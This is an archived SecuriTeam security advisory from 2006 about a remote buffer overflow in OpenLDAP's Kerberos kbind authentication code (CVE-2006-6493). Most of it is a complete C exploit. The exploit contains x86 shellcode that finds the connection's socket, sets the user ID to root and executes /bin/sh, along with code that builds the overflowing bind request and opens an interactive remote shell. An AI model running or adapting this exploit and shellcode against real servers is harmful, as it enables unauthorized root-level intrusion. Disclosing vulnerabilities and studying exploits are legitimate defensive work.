Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[UNIX] OpenLDAP kbind Buffer Overflow (Exploit)

Subject: [UNIX] OpenLDAP kbind Buffer Overflow (Exploit)
Date: 20 Dec 2006 08:55:53 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  OpenLDAP kbind Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

 <http://www.openldap.org/> OpenLDAP Software is "an open source 
implementation of the Lightweight Directory Access Protocol". There is a 
remotely exploitable buffer overflow in the Kerberos KBIND authentication 
code in the OpenLDAP slapd server.

DETAILS

Vulnerable Systems:
 * OpenLDAP version 2.4.3alpha (where --enable-kbind is provided)

The vulnerability is in the krbv4_ldap_auth function in 
servers/slapd/kerberos.c. This function processes LDAP bind requests that 
specify the LDAP_AUTH_KRBV41 authentication method. The cred variable 
contains a pointer to the Kerberos authentication data sent by the client. 
The length of the data is not checked before it is copied into a fixed 
size buffer on the stack. Sending a bind request with more than 1250 bytes 
of credential data will result in a buffer overflow. The vulnerable code 
is given below:

krbv4_ldap_auth(Backend *be, struct berval *cred, AUTH_DAT *ad)
{
 KTEXT_ST k;
 KTEXT ktxt = &k;
 char instance[INST_SZ];
 int err;
 
 Debug( LDAP_DEBUG_TRACE, "=> kerberosv4_ldap_auth\n", 0, 0, 0 );

 AC_MEMCPY( ktxt->dat, cred->bv_val, cred->bv_len );

There should be a length check before the call to memcpy.

The vulnerable code is enabled only when OpenLDAP is compiled with the 
--enable-kbind option, which has been disabled by default since version 
2.0.2 and was removed from the configure script in the 2.1 release. The 
chance of finding a real system that is still vulnerable is minimal, 
however the code is still available in the latest 2.4.3 version of 
OpenLDAP and can be enabled manually as described in  
<http://www.openldap.org/lists/openldap-software/200206/msg00371.html> 
http://www.openldap.org/lists/openldap-software/200206/msg00371.html

CVE Information:
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6493> 
CVE-2006-6493

Exploit:
/*
 * openldap-kbind-p00f.c - OpenLDAP kbind remote exploit
 *
 * Only works on servers compiled with
 *   --enable-kbind    enable LDAPv2+ Kerberos IV bind (deprecated) [no]
 *
 * by Solar Eclipse <solareclipse@phreedom.org>
 *
 * Shoutouts to LSD for their l33t asm code and to all 0dd people
 *
 * Private 0dd code.
 *
 */

#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <stdio.h>

extern int errno;

#define SHELLCODE_LEN (1250+2+32)
#define SHELLCODE_ADDR 0xbf5feed0

#define LDAP_AUTH_SIMPLE 0x80U
#define LDAP_AUTH_KRBV41 0x81U

#define FINDSCKPORTOFS     46

u_char shellcode[]=
/* 72 bytes findsckcode by LSD-pl */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\x89\xe7"             /* movl    %esp,%edi              */
    "\x8d\x77\x10"         /* leal    0x10(%edi),%esi        */
    "\x89\x77\x04"         /* movl    %esi,0x4(%edi)         */
    "\x8d\x4f\x20"         /* leal    0x20(%edi),%ecx        */
    "\x89\x4f\x08"         /* movl    %ecx,0x8(%edi)         */
    "\xb3\x10"             /* movb    $0x10,%bl              */
    "\x89\x19"             /* movl    %ebx,(%ecx)            */
    "\x31\xc9"             /* xorl    %ecx,%ecx              */
    "\xb1\xff"             /* movb    $0xff,%cl              */
    "\x89\x0f"             /* movl    %ecx,(%edi)            */
    "\x51"                 /* pushl   %ecx                   */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\xb0\x66"             /* movb    $0x66,%al              */
    "\xb3\x07"             /* movb    $0x07,%bl              */
    "\x89\xf9"             /* movl    %edi,%ecx              */
    "\xcd\x80"             /* int     $0x80                  */
    "\x59"                 /* popl    %ecx                   */
    "\x31\xdb"             /* xorl    %ebx,%ebx              */
    "\x39\xd8"             /* cmpl    %ebx,%eax              */
    "\x75\x0a"             /* jne     <findsckcode+54>       */
    "\x66\xb8\x12\x34"     /* movw    $0x1234,%bx            */
    "\x66\x39\x46\x02"     /* cmpw    %bx,0x2(%esi)          */
    "\x74\x02"             /* je      <findsckcode+56>       */
    "\xe2\xe0"             /* loop    <findsckcode+24>       */
    "\x89\xcb"             /* movl    %ecx,%ebx              */
    "\x31\xc9"             /* xorl    %ecx,%ecx              */
    "\xb1\x03"             /* movb    $0x03,%cl              */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\xb0\x3f"             /* movb    $0x3f,%al              */
    "\x49"                 /* decl    %ecx                   */
    "\xcd\x80"             /* int     $0x80                  */
    "\x41"                 /* incl    %ecx                   */
    "\xe2\xf6"             /* loop    <findsckcode+62>       */

/* 10 byte setresuid(0,0,0); by core */
    "\x31\xc9"       /* xor    %ecx,%ecx */
    "\xf7\xe1"       /* mul    %ecx,%eax */
    "\x51"           /* push   %ecx */
    "\x5b"           /* pop    %ebx */
    "\xb0\xa4"       /* mov    $0xa4,%al */
    "\xcd\x80"       /* int    $0x80 */

/* 24 bytes execl("/bin/sh", "/bin/sh", 0); by LSD-pl */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

#define COMMAND1 "echo 'a'; TERM=xterm; export TERM=xterm; exec bash 
-i;\n"
#define COMMAND2 "uname -a; id; w;\n"

/* mixter's code w/enhancements by core */

int sh(int sockfd) {
   char snd[1024], rcv[1024];
   fd_set rset;
   int maxfd, n;

   /* Priming commands */
   strcpy(snd, COMMAND1 "\n");
   write(sockfd, snd, strlen(snd));

   strcpy(snd, COMMAND2 "\n");
   write(sockfd, snd, strlen(snd));

   /* Main command loop */
   for (;;) {
      FD_SET(fileno(stdin), &rset);
      FD_SET(sockfd, &rset);
      
      maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
      select(maxfd, &rset, NULL, NULL, NULL);
      
      if (FD_ISSET(fileno(stdin), &rset)) {
  bzero(snd, sizeof(snd));
  fgets(snd, sizeof(snd)-2, stdin);
  write(sockfd, snd, strlen(snd));
      }
      
      if (FD_ISSET(sockfd, &rset)) {
  bzero(rcv, sizeof(rcv));
  
  if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
     printf("Good Bye!\n");
     return 0;
  }
  
  if (n < 0) {
     perror("read");
     return 1;
  }
  
  fputs(rcv, stdout);
  fflush(stdout); /* keeps output nice */
      }
   } /* for(;;) */
}

/* Connect to the host */
int connect_host(char* host, int port)
{
 struct sockaddr_in s_in;
 int sock;

 s_in.sin_family = AF_INET;
 s_in.sin_addr.s_addr = inet_addr(host);
 s_in.sin_port = htons(port);

 if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
  printf("Could not create a socket\n");
  exit(1);
 }

 if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
  printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
  exit(1);
 }

 return sock;
}

int get_local_port(int sock)
{
 struct sockaddr_in s_in;
 int namelen = sizeof(s_in);
 
 if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) {
  printf("Can't get local port: %s\n", strerror(errno));
  exit(1);
 }

 return s_in.sin_port;
}

int read_data(int sock, char* buf, int len)
{
 int l;
 int to_read = len;

 do {
  if ((l = read(sock, buf, to_read)) < 0) {
   printf("Error in read: %s\n", strerror(errno));
   exit(1);
  }
  to_read -= len;
 } while (to_read > 0);

 return len;
}

int read_bind_result(int sock)
{
 char buf[1000];

 read_data(sock, buf, 2);
 if (buf[0] != 0x30) {
  /* openldap is 0wned  :-P */
  return -1;
 }

 read_data(sock, &buf[2], buf[1]);
 
 if ((buf[2] != 0x02) && (buf[3] != 0x01)) { /* message id */
  printf("Malformed bind result\n");
  exit(1);
 }

 if (buf[5] != 0x61) {      /* message type */
  printf("Malformed bind result\n");
  exit(1);
 }

 if (buf[6] < 7) {       /* message length */
  printf("Malformed bind result\n");
  exit(1);
 }

 if ((buf[7] != 0x0a) && (buf[8] != 0x01)) { /* result code */
  printf("Malformed bind result\n");
  exit(1);
 }

 return buf[9];  /* result code */
}

int send_bind_request(int sock, char method, char* dn, char* cred)
{
 int cred_len, message_len, request_len;
 char krb_bind_request[2000];
 char* p;

 memcpy(krb_bind_request,
  "\x30\x82\xff\xff" /* request length */
  "\x02\x01\x01"  /* message id = 1 */
  "\x60"    /* bind request */
  "\x82\xff\xff"  /* message length */
  "\x02\x01\x02"  /* LDAP version 3 */
  "\x04",    /* dn */
 15);
 
 p = &krb_bind_request[15];
 
 if (strlen(dn) > 255) {
  printf("bind_dn too long\n");
  exit(1);
 }

 *p++ = (char)strlen(dn);
 strcpy(p, dn);

 p += strlen(dn);
 
 *p++ = method;  /* authentication method */
 *p++ = '\x82';

 cred_len = strlen(cred);
 
 *p++ = (char) ((cred_len >> 8) & 0xff);
 *p++ = (char) (cred_len & 0xff);
 
 strcpy(p, cred);
 
 message_len = 5 + strlen(dn) + 4 + cred_len;
 krb_bind_request[9] = (char) ((message_len >> 8) & 0xff);
 krb_bind_request[10] = (char) (message_len & 0xff);

 request_len = 7 + message_len;
 krb_bind_request[2] = (char) ((request_len >> 8) & 0xff);
 krb_bind_request[3] = (char) (request_len & 0xff);
 
 send(sock, krb_bind_request, 4+request_len, 0);
}

void build_shellcode(char* p, int len)
{
 int i;

 i = len - 64 - strlen(shellcode);
 memset(p, 0x90, i);
 strncpy(&p[i], shellcode, strlen(shellcode));

 for (i = len - 64; i < len; i+= 4) {
  *(int*)&p[i] = SHELLCODE_ADDR;
 }
}

char res_buf[30];

char* ldap_result(int code) {
 switch (code) {
  case 0x00: return "LDAP_SUCCESS (0x00)";
  case 0x01: return "LDAP_OPERATIONS_ERROR (0x01)";
  case 0x02: return "LDAP_PROTOCOL_ERROR (0x02)";
  case 0x07: return "LDAP_AUTH_METHOD_NOT_SUPPORTED (0x07)\nMost likely 
cause: the OpenLDAP server was not compiled with --enable-kbind.";
  case 0x08: return "LDAP_STRONG_AUTH_REQUIRED (0x08)";
  case 0x0e: return "LDAP_SASL_BIND_IN_PROGRESS (0x0e)";
  case 0x22: return "LDAP_INVALID_DN_SYNTAX (0x22)\nCheck your bind_dn.";
  case 0x30: return "LDAP_INAPPROPRIATE_AUTH (0x30)";
  case 0x31: return "LDAP_INVALID_CREDENTIALS (0x31)\nThe bind_dn must 
exist in the LDAP directory.";
  case 0x32: return "LDAP_INSUFFICIENT_ACCESS (0x32)";
  case 0x33: return "LDAP_BUSY (0x33)";
  case 0x34: return "LDAP_UNAVAILABLE (0x34)";
  case 0x35: return "LDAP_UNWILLING_TO_PERFORM (0x35)";
  case 0x50: return "LDAP_OTHER (0x50)";
  case 0x51: return "LDAP_SERVER_DOWN (0x51)";
  case 0x54: return "LDAP_DECODING_ERROR (0x54)";
 default:
  sprintf(res_buf, "%x", code);
  return res_buf;
 }
}

/* run, code, run */
int main(int argc, char* argv[])
{
 char shellcode_buf[SHELLCODE_LEN+1];
 int port, sock, res;
 char* dn;
 char* p;

 printf(": openldap-kbind-p00f.c - OpenLDAP kbind remote exploit\n");
 printf("\n");
 printf(": Only works on servers compiled with\n");
 printf("    --enable-kbind    enable LDAPv2+ Kerberos IV bind 
(deprecated) [no]\n");
 printf("\n");
 printf(": by Solar Eclipse <solareclipse@phreedom.org>\n\n");
 
 if (argc < 3) {
  printf(": Usage: %s hostname bind_dn\n", argv[0]);
  printf("  The bind_dn must exist in the LDAP directory.\n");
  exit(1);
 }

 dn = argv[2];

 port = 389; /*atoi(argv[2]);*/
 sock = connect_host(argv[1], port);

/*
 send_bind_request(sock, LDAP_AUTH_SIMPLE, dn, "secret");
 res = read_bind_result(sock);
 printf("LDAP_AUTH_SIMPLE bind request returned %s\n", ldap_result(res));
*/

/* send_bind_request(sock, LDAP_AUTH_KRBV41, dn, "secret");
 res = read_bind_result(sock);
 printf("LDAP_AUTH_KRBV41 bind request returned %s\n", ldap_result(res));
*/
 port = get_local_port(sock);

 shellcode[FINDSCKPORTOFS] = (char) (port & 0xff);
 shellcode[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);

 build_shellcode(shellcode_buf, SHELLCODE_LEN);
 shellcode_buf[SHELLCODE_LEN] = '\0';

 printf("Sending shellcode\n");
 send_bind_request(sock, LDAP_AUTH_KRBV41, dn, shellcode_buf);
 
 sleep(2);

 /* Priming commands */
 write(sock, "echo 'a';\n", 10);

 printf("Reading bind result\n");
 res = read_bind_result(sock);
 if (res > 0)
  printf("LDAP_AUTH_KRBV41 bind request returned %s\n", ldap_result(res));
 else {
  printf("Spawning shell...\n");
  sh(sock);
 }

 close(sock);
 
 return 0;
}

// milw0rm.com [2006-12-15]


ADDITIONAL INFORMATION

The information has been provided by  <mailto:solareclipse@phreedom.org> 
Solar Eclipse.
The original article can be found at:  
<http://www.phreedom.org/solar/exploits/openldap-kbind/> 
http://www.phreedom.org/solar/exploits/openldap-kbind/ and  
<http://www.milw0rm.com/exploits/2933> 
http://www.milw0rm.com/exploits/2933



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [UNIX] OpenLDAP kbind Buffer Overflow (Exploit), SecuriTeam <=